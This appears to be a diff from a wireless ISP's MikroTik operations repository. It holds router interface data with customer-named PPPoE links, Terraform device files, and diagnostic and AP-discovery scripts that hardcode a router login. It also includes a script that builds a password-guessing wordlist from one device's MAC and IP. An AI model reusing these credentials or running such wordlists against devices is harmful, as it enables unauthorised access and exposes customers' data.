"comment": "",
"dynamic": false
},
{
"address": "10.10.111.254/20",
"network": "10.10.96.0",
"interface": "vlan10_ether2",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.9/29",
"network": "10.250.1.8",
"interface": "ether1-climax-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.49/29",
"network": "10.250.1.48",
"interface": "ether6-380-11ghz",
"comment": "",
"dynamic": false
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.9",
"interface": "<pppoe-tonyasipes>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.10",
"interface": "<pppoe-natashaelmore>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.11",
"interface": "<pppoe-karengreen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.12",
"interface": "<pppoe-chrispassonno>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "204.110.188.134",
"interface": "<pppoe-radiantlifeministries>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.13",
"interface": "<pppoe-wendysanders>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.14",
"interface": "<pppoe-johnnygoble>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.15",
"interface": "<pppoe-jamesmooney>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.16",
"interface": "<pppoe-saidaacosta>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "204.110.188.131",
"interface": "<pppoe-marilynfowler>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.18",
"interface": "<pppoe-tammylove>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.20",
"interface": "<pppoe-duanewright>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.21",
"interface": "<pppoe-shamsbashir>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.22",
"interface": "<pppoe-priscillacrenshaw>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.24",
"interface": "<pppoe-jacobwilliams>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.25",
"interface": "<pppoe-russmott>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.27",
"interface": "<pppoe-kailynnbarnfield>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.29",
"interface": "<pppoe-brianamartinez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.30",
"interface": "<pppoe-mauricioantonio>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.32",
"interface": "<pppoe-ericcoffman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.34",
"interface": "<pppoe-ladonnaclark>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.35",
"interface": "<pppoe-delainawaite>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.39",
"interface": "<pppoe-deannecook>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.43",
"interface": "<pppoe-rubenreyez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.47",
"interface": "<pppoe-sandrahoughton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.48",
"interface": "<pppoe-luisarellano>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.49",
"interface": "<pppoe-carlaswearingen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.53",
"interface": "<pppoe-doreengrubb>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.122",
"interface": "<pppoe-rosahernandez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.38",
"interface": "<pppoe-floydallen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.31",
"interface": "<pppoe-michaelhughes>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.42",
"interface": "<pppoe-kristinamurphy>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.17",
"interface": "<pppoe-mariacastanon>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.19",
"interface": "<pppoe-perlachavez>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "204.110.188.145",
"interface": "<pppoe-clayrobertson2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.28",
"interface": "<pppoe-khushbooagarwal2>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.45",
"interface": "<pppoe-mariomerlo>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.33",
"interface": "<pppoe-shannonclark>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.27.253/32",
"network": "100.64.25.46",
"interface": "<pppoe-chisediquezada>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether1-climax-11ghz",
"type": "ether",
"mac": "64:D1:54:D3:E1:52",
"comment": "",
"mtu": 9000
},
{
"name": "ether2-netonix",
"type": "ether",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-jeff-tv",
"type": "ether",
"mac": "64:D1:54:D3:E1:56",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-380-11ghz",
"type": "ether",
"mac": "64:D1:54:D3:E1:57",
"comment": "",
"mtu": 9000
},
{
"name": "<pppoe-brianamartinez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-carlaswearingen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-chisediquezada>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-chrispassonno>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-clayrobertson2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-deannecook>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-delainawaite>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-doreengrubb>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-duanewright>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-ericcoffman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-floydallen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jacobwilliams>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jamesmooney>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-johnnygoble>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kailynnbarnfield>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-karengreen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-khushbooagarwal2>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kristinamurphy>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-ladonnaclark>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-luisarellano>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariacastanon>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-marilynfowler>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mariomerlo>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mauricioantonio>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-michaelhughes>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-natashaelmore>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-perlachavez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-priscillacrenshaw>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-radiantlifeministries>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-rosahernandez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-rubenreyez>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-russmott>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-saidaacosta>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-sandrahoughton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-shamsbashir>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-shannonclark>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-tammylove>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-tonyasipes>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-wendysanders>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "culleoka-tower",
"type": "bridge",
"mac": "92:19:C8:54:82:B3",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "3A:96:B4:1B:8A:0D",
"comment": "",
"mtu": "auto"
},
{
"name": "mgmt",
"type": "bridge",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": "auto"
},
{
"name": "public",
"type": "bridge",
"mac": "52:8D:9B:68:7F:D0",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan10_ether2",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan100_netonix8",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan101_netonix9",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan102_netonix10",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan103_netonix13",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan104_netonix14",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_30_clayton",
"type": "vlan",
"mac": "64:D1:54:D3:E1:53",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan10_ether2",
"vlan_id": 10,
"interface": "ether2-netonix"
},
{
"name": "vlan100_netonix8",
"vlan_id": 100,
"interface": "ether2-netonix"
},
{
"name": "vlan101_netonix9",
"vlan_id": 101,
"interface": "ether2-netonix"
},
{
"name": "vlan102_netonix10",
"vlan_id": 102,
"interface": "ether2-netonix"
},
{
"name": "vlan103_netonix13",
"vlan_id": 103,
"interface": "ether2-netonix"
},
{
"name": "vlan104_netonix14",
"vlan_id": 104,
"interface": "ether2-netonix"
},
{
"name": "vlan_30_clayton",
"vlan_id": 30,
"interface": "ether2-netonix"
}
],
"pppoe_servers": [
{
"service_name": "culleoka",
"interface": "ether2-netonix"
},
{
"service_name": "clayton",
"interface": "vlan_30_clayton"
},
{
"service_name": "jeff-tv",
"interface": "ether5-jeff-tv"
},
{
"service_name": "service1",
"interface": "vlan100_netonix8"
},
{
"service_name": "service2",
"interface": "vlan101_netonix9"
},
{
"service_name": "service3",
"interface": "vlan102_netonix10"
},
{
"service_name": "service4",
"interface": "vlan103_netonix13"
},
{
"service_name": "service5",
"interface": "vlan104_netonix14"
}
],
"routes": []
}

98
culleoka_hosts.tf Normal file
View file

@ -0,0 +1,98 @@
resource "towerops_device" "culleoka_sw_ac_1" {
site_id = towerops_site.culleoka.id
name = "Culleoka SW AC-1"
ip_address = "10.10.111.1"
snmp_version = "1"
}
resource "towerops_device" "culleoka_sw_ac2" {
site_id = towerops_site.culleoka.id
name = "Culleoka SW AC2"
ip_address = "10.10.111.2"
snmp_version = "1"
}
resource "towerops_device" "culleoka_se" {
site_id = towerops_site.culleoka.id
name = "Culleoka SE"
ip_address = "10.10.111.11"
snmp_version = "1"
}
resource "towerops_device" "culleoka_sw_120" {
site_id = towerops_site.culleoka.id
name = "Culleoka sw 120"
ip_address = "10.10.111.12"
snmp_version = "1"
}
resource "towerops_device" "culleoka_north_ubnt" {
site_id = towerops_site.culleoka.id
name = "Culleoka North UBNT"
ip_address = "10.10.111.14"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_n" {
site_id = towerops_site.culleoka.id
name = "culleoka epmp N"
ip_address = "10.10.111.30"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_se" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP SE"
ip_address = "10.10.111.31"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_sw" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP SW"
ip_address = "10.10.111.32"
snmp_version = "1"
}
resource "towerops_device" "culleoka_ne" {
site_id = towerops_site.culleoka.id
name = "Culleoka NE"
ip_address = "10.10.111.33"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_se_34" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP SE"
ip_address = "10.10.111.34"
snmp_version = "1"
}
resource "towerops_device" "culleoka_epmp_nw" {
site_id = towerops_site.culleoka.id
name = "Culleoka ePMP NW"
ip_address = "10.10.111.35"
snmp_version = "1"
}
resource "towerops_device" "clayton_estates_ap" {
site_id = towerops_site.culleoka.id
name = "Clayton Estates AP"
ip_address = "10.10.111.50"
snmp_version = "1"
}
resource "towerops_device" "clayton_to_culleoka" {
site_id = towerops_site.culleoka.id
name = "clayton to culleoka"
ip_address = "10.10.111.60"
snmp_version = "1"
}
resource "towerops_device" "culleoka_to_clayton" {
site_id = towerops_site.culleoka.id
name = "culleoka to clayton"
ip_address = "10.10.111.61"
snmp_version = "1"
}

1334
culleoka_router_data.json Normal file

File diff suppressed because it is too large Load diff

83
diagnose_verona_radius.py Normal file
View file

@ -0,0 +1,83 @@
#!/usr/bin/env python3
"""Diagnose RADIUS auth failure on Verona router after RouterOS upgrade."""
import sys
from mikrotik_connect import MikrotikAPI
def section(title):
print(f"\n{'=' * 70}\n=== {title}\n{'=' * 70}")
def dump(results):
if not results:
print("(no results)")
return
for r in results:
for k, v in r.items():
print(f" {k}: {v}")
print("---")
def main():
api = MikrotikAPI("10.254.254.101", "grahamro",
"cFKhz8q5gPLoucMbcT1Iy58r3IXgc3")
if not api.connect():
sys.exit(1)
if not api.login():
sys.exit(1)
try:
section("RouterOS version / identity")
dump(api.command("/system/resource/print"))
dump(api.command("/system/routerboard/print"))
dump(api.command("/system/identity/print"))
section("RADIUS clients (/radius print detail)")
dump(api.command("/radius/print"))
section("RADIUS incoming settings")
dump(api.command("/radius/incoming/print"))
section("AAA settings for user logins (/user aaa print)")
dump(api.command("/user/aaa/print"))
section("PPP AAA settings (/ppp aaa print)")
dump(api.command("/ppp/aaa/print"))
section("PPP profiles (may reference radius)")
dump(api.command("/ppp/profile/print"))
section("PPP secrets count")
secrets = api.command("/ppp/secret/print", ["=count-only="])
print(secrets)
section("Active PPP sessions")
dump(api.command("/ppp/active/print"))
section("Hotspot servers (if any)")
dump(api.command("/ip/hotspot/print"))
section("Recent log messages (last 200)")
logs = api.command("/log/print")
# Show only most recent 200 and filter those with radius / auth / ppp
for entry in logs[-200:]:
msg = entry.get("message", "")
topics = entry.get("topics", "")
time = entry.get("time", "")
if any(k in (msg + topics).lower() for k in
["radius", "auth", "ppp", "login", "fail", "reject"]):
print(f"[{time}] {topics}: {msg}")
section("Certificates (RADIUS over TLS / EAP may need these)")
dump(api.command("/certificate/print"))
section("IP services (enabled management services)")
dump(api.command("/ip/service/print"))
finally:
api.disconnect()
if __name__ == "__main__":
main()

View file

@ -0,0 +1,228 @@
#!/usr/bin/env python3
"""
Generate comprehensive MikroTik password wordlist
Creates likely passwords based on common patterns, algorithms, and variations
"""
import itertools
import string
import binascii
def generate_mac_based_passwords(mac_address):
"""Generate passwords based on MAC address using various known algorithms"""
passwords = []
# Parse MAC address
mac_parts = mac_address.upper().replace(':', '').replace('-', '')
if len(mac_parts) != 12:
return passwords
mac_bytes = [int(mac_parts[i:i+2], 16) for i in range(0, 12, 2)]
# Algorithm 1: Standard MikroTik (0xD0, 0xFF constants)
pwd_bytes = [
mac_bytes[0] ^ 0xD0,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
0xFF
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 2: Try different constants instead of 0xD0
for const1 in [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0]:
pwd_bytes = [
mac_bytes[0] ^ const1,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
0xFF
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 3: Try different constants instead of 0xFF
for const2 in [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03]:
pwd_bytes = [
mac_bytes[0] ^ 0xD0,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
const2
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 4: Different MAC byte positions
for i in range(6):
for j in range(6):
for k in range(6):
if i != j and j != k and i != k:
pwd_bytes = [
mac_bytes[i] ^ 0xD0,
mac_bytes[j],
(~mac_bytes[k]) & 0xFF,
0xFF
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 5: Use MAC bytes directly (no XOR or NOT)
for combo in itertools.permutations(mac_bytes[:4]):
hex_str = ''.join(f'{b:02x}' for b in combo)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Algorithm 6: Simple MAC transformations
# Last 4 bytes of MAC
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# First 4 bytes of MAC
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
return passwords
def generate_common_patterns():
"""Generate common password patterns"""
passwords = []
# Common numeric patterns
patterns = [
"0000-0000", "1111-1111", "2222-2222", "3333-3333",
"1234-5678", "8765-4321", "0123-4567", "1357-2468",
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
"ffff-ffff", "dead-beef", "cafe-babe", "feed-face",
"0000-0001", "0001-0000", "ffff-0000", "0000-ffff",
]
# Year-based patterns (common installation years)
for year in range(2015, 2025):
passwords.extend([
f"{year}-{year}",
f"0000-{year}",
f"{year}-0000",
f"{year}-1234",
f"1234-{year}",
])
# Sequential numbers
for i in range(0, 10000, 1111):
hex_val = f"{i:04x}"
passwords.append(f"{hex_val}-{hex_val}")
# Common hex patterns
hex_patterns = [
"abcd-efab", "1a2b-3c4d", "a1b2-c3d4",
"0a0b-0c0d", "f0f0-f0f0", "0f0f-0f0f",
]
passwords.extend(hex_patterns)
return patterns + passwords
def generate_device_specific_patterns():
"""Generate patterns specific to this device's MAC and IP"""
passwords = []
# Based on MAC B8:69:F4:12:8E:F8
mac_parts = ["b8", "69", "f4", "12", "8e", "f8"]
# Use parts of MAC in different combinations
for i in range(len(mac_parts)-1):
passwords.append(f"{mac_parts[i]}{mac_parts[i+1]}-{mac_parts[(i+2)%6]}{mac_parts[(i+3)%6]}")
# Based on IP 10.250.2.2
ip_hex = f"{10:02x}{250:02x}{2:02x}{2:02x}" # 0afa0202
passwords.extend([
f"{ip_hex[:4]}-{ip_hex[4:]}",
f"0afa-0202",
f"250a-0202", # Different byte order
f"0a02-fa02",
])
# Network-specific patterns (250.2 subnet)
passwords.extend([
"fa02-fa02", # 250.2 in hex
"0250-0002", # Decimal to hex
"f802-f802", # 248.2 (common network)
"0100-0100", # 1.1 network
])
return passwords
def generate_incremental_patterns():
"""Generate incremental/sequential patterns around likely values"""
passwords = []
# Around the calculated MAC-based password
base_pwd = "6869-0bff" # From the algorithm result
base_int = int(base_pwd.replace('-', ''), 16)
# Try values around the calculated one
for offset in range(-1000, 1001):
try:
new_val = base_int + offset
if 0 <= new_val <= 0xFFFFFFFF:
hex_str = f"{new_val:08x}"
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
except:
continue
return passwords
def main():
mac_address = "B8:69:F4:12:8E:F8"
print("Generating comprehensive MikroTik password wordlist...")
all_passwords = set() # Use set to avoid duplicates
print("1. MAC-based algorithm variations...")
mac_passwords = generate_mac_based_passwords(mac_address)
all_passwords.update(mac_passwords)
print(f" Generated {len(mac_passwords)} MAC-based passwords")
print("2. Common patterns...")
common_passwords = generate_common_patterns()
all_passwords.update(common_passwords)
print(f" Generated {len(common_passwords)} common pattern passwords")
print("3. Device-specific patterns...")
device_passwords = generate_device_specific_patterns()
all_passwords.update(device_passwords)
print(f" Generated {len(device_passwords)} device-specific passwords")
print("4. Incremental patterns...")
incremental_passwords = generate_incremental_patterns()
all_passwords.update(incremental_passwords)
print(f" Generated {len(incremental_passwords)} incremental passwords")
# Remove any invalid passwords and convert to sorted list
valid_passwords = []
for pwd in all_passwords:
if len(pwd) == 9 and pwd[4] == '-':
try:
# Validate it's proper hex
int(pwd.replace('-', ''), 16)
valid_passwords.append(pwd)
except ValueError:
continue
valid_passwords.sort()
# Write to file
with open('mikrotik_wordlist.txt', 'w') as f:
for pwd in valid_passwords:
f.write(pwd + '\n')
print(f"\nTotal unique valid passwords: {len(valid_passwords)}")
print("Wordlist saved to: mikrotik_wordlist.txt")
# Show first 20 passwords as preview
print("\nFirst 20 passwords in wordlist:")
for i, pwd in enumerate(valid_passwords[:20]):
print(f" {i+1:2d}: {pwd}")
if len(valid_passwords) > 20:
print(f" ... and {len(valid_passwords) - 20} more")
if __name__ == "__main__":
main()

64
generate_terraform.py Executable file
View file

@ -0,0 +1,64 @@
#!/usr/bin/env python3
import re
import sys
def sanitize_resource_name(name):
"""Convert system name to valid Terraform resource identifier."""
# Remove trailing spaces and convert to lowercase
name = name.strip().lower()
# Replace spaces and special chars with underscores
name = re.sub(r'[^a-z0-9_]', '_', name)
# Remove consecutive underscores
name = re.sub(r'_+', '_', name)
# Remove leading/trailing underscores
name = name.strip('_')
# Prefix with 'device_' if it starts with a number
if name and name[0].isdigit():
name = 'device_' + name
return name
if len(sys.argv) < 3:
print("Usage: ./generate_terraform.py <input_file> <site_name>")
print("Example: ./generate_terraform.py new_hope_results.txt new_hope")
sys.exit(1)
input_file = sys.argv[1]
site_name = sys.argv[2]
output_file = f"{site_name}_hosts.tf"
# Read SNMP results
with open(input_file, 'r') as f:
devices = []
for line in f:
ip, sysname = line.strip().split('|')
if sysname != 'UNKNOWN':
resource_name = sanitize_resource_name(sysname)
devices.append({
'ip': ip,
'name': sysname.strip(),
'resource_name': resource_name
})
# Handle duplicate resource names by appending IP last octet
seen_names = {}
for device in devices:
original_name = device['resource_name']
if original_name in seen_names:
# Append the last octet of the IP to make it unique
last_octet = device['ip'].split('.')[-1]
device['resource_name'] = f"{original_name}_{last_octet}"
else:
seen_names[original_name] = True
# Generate Terraform file
with open(output_file, 'w') as f:
for device in devices:
f.write(f'resource "towerops_device" "{device["resource_name"]}" {{\n')
f.write(f' site_id = towerops_site.{site_name}.id\n')
f.write(f' name = "{device["name"]}"\n')
f.write(f' ip_address = "{device["ip"]}"\n')
f.write(f' snmp_version = "1"\n')
f.write(f'}}\n\n')
print(f"Generated {output_file} with {len(devices)} devices")

205
get_access_points.py Normal file
View file

@ -0,0 +1,205 @@
#!/usr/bin/env python3
"""
Get access points from a MikroTik router by checking DHCP leases and ARP table
"""
import ssl
import sys
import json
import argparse
try:
from librouteros import connect
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def connect_to_router(ip, username, password, use_ssl=True):
"""Connect to MikroTik router"""
port = 8729 if use_ssl else 8728
try:
if use_ssl:
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
api = connect(
username=username,
password=password,
host=ip,
port=port,
ssl_wrapper=ctx.wrap_socket
)
else:
api = connect(
username=username,
password=password,
host=ip,
port=port
)
print(f"✓ Connected to {ip}")
return api
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def get_dhcp_leases(api):
"""Get DHCP leases from the router"""
try:
leases = list(api.path('/ip/dhcp-server/lease'))
return leases
except Exception as e:
print(f"Error getting DHCP leases: {e}")
return []
def get_arp_table(api):
"""Get ARP table from the router"""
try:
arp_entries = list(api.path('/ip/arp'))
return arp_entries
except Exception as e:
print(f"Error getting ARP table: {e}")
return []
def get_capsman_registrations(api):
"""Get Capsman registration table if available"""
try:
registrations = list(api.path('/caps-man/registration-table'))
return registrations
except Exception as e:
# Capsman might not be configured
return []
def is_likely_ap(hostname, mac, comment):
"""Determine if a device is likely an access point based on hostname/MAC/comment"""
if not hostname:
hostname = ""
if not comment:
comment = ""
hostname_lower = hostname.lower()
comment_lower = comment.lower()
# Common AP identifiers
ap_indicators = ['ap', 'access', 'ubiquiti', 'unifi', 'mikrotik', 'routerboard',
'airmax', 'litebeam', 'nanostation', 'powerbeam', 'rocket',
'hap', 'cap', 'sxt', 'lhg', 'wap']
for indicator in ap_indicators:
if indicator in hostname_lower or indicator in comment_lower:
return True
# Check for Ubiquiti MAC prefix (common for APs)
if mac and mac.upper().startswith(('04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA')):
return True
# Check for MikroTik MAC prefix
if mac and mac.upper().startswith(('00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A')):
return True
return False
def main():
parser = argparse.ArgumentParser(description='Get access points from MikroTik router')
parser.add_argument('router_ip', help='Router IP address')
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
parser.add_argument('-o', '--output', help='Output file (JSON)')
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
args = parser.parse_args()
# Connect to router
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
if not api:
sys.exit(1)
print("\n=== Retrieving Access Point Information ===\n")
# Get data from router
dhcp_leases = get_dhcp_leases(api)
arp_table = get_arp_table(api)
capsman_regs = get_capsman_registrations(api)
access_points = []
# Check Capsman registrations first (most reliable for APs)
if capsman_regs:
print("=== Capsman Registered Access Points ===")
for reg in capsman_regs:
ap_info = {
'name': reg.get('interface', 'Unknown'),
'mac': reg.get('mac-address', ''),
'ip': reg.get('address', ''),
'source': 'capsman',
'interface': reg.get('interface', ''),
'rx_signal': reg.get('rx-signal', '')
}
access_points.append(ap_info)
print(f" {ap_info['name']}: {ap_info['ip']} ({ap_info['mac']})")
# Process DHCP leases
print("\n=== DHCP Leases (Potential Access Points) ===")
for lease in dhcp_leases:
hostname = lease.get('host-name', '')
mac = lease.get('mac-address', '')
ip = lease.get('address', '')
comment = lease.get('comment', '')
if is_likely_ap(hostname, mac, comment):
ap_info = {
'name': hostname or comment or mac,
'ip': ip,
'mac': mac,
'source': 'dhcp',
'comment': comment
}
# Check if already in list (from capsman)
if not any(ap['mac'] == mac for ap in access_points):
access_points.append(ap_info)
print(f" {ap_info['name']}: {ip} ({mac})")
if comment:
print(f" Comment: {comment}")
# Check ARP table for any we might have missed
print("\n=== ARP Table (Additional Devices) ===")
